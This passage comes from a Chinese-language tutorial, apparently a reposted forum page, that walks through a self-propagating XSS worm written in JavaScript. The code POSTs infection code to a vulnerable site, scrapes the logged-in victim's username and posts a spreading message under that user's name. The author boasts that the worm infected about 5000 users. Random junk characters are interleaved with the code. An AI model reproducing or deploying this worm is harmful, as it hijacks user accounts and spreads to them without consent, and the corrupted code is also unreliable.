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) l0 T" C' ]! fxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.8 M8 q9 _. `+ J9 V) P( m
% r% D" p! W2 h6 H7 j4 U4 TxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");- ~1 C! E: f1 Z3 @
! p! ]: Z7 G" F" QxmlHttpReq.setRequestHeader("content-length",post.length); m# i9 n2 ]! x2 [- O5 V
J6 x. I# h2 Y b, A& zxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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. ~6 g0 z2 J* b0 ZxmlHttpReq.send(post);
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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* f2 N: } e" [4 I! f+ v3 Mvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方) s! e# P# ?* K( w! `
! y* _" l; E1 b" avar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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4 r' l2 ~! J3 r; C& g/ d3 tvar post="wd="+wd;
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7 R5 O C! i! L4 U$ V9 dxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);8 l' ]9 g7 K1 R( e `; O
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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) j# N' J% A- j. xxmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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X3 P, ?3 K {& c5 J+ YxmlHttpReq.send(post); //把传播的信息 POST出去.9 U& m, t# f+ @( m
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. @* s* e& m% _5 {9 I9 X复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
0 R2 Z8 h9 g% N: W( q4 L: ~蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
: e" Z) _# v" q% W0 X: P5 }操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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本文引用文档资料:' L1 h0 Y; |+ `# F
: M# h" z. q1 `$ g) T"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
t% x2 y9 p6 M9 ~, ?8 v" @Other XmlHttpRequest tricks (Amit Klein, January 2003)$ x7 w" O$ `2 {" o
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
& ?* R! Z! h! _0 ?http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
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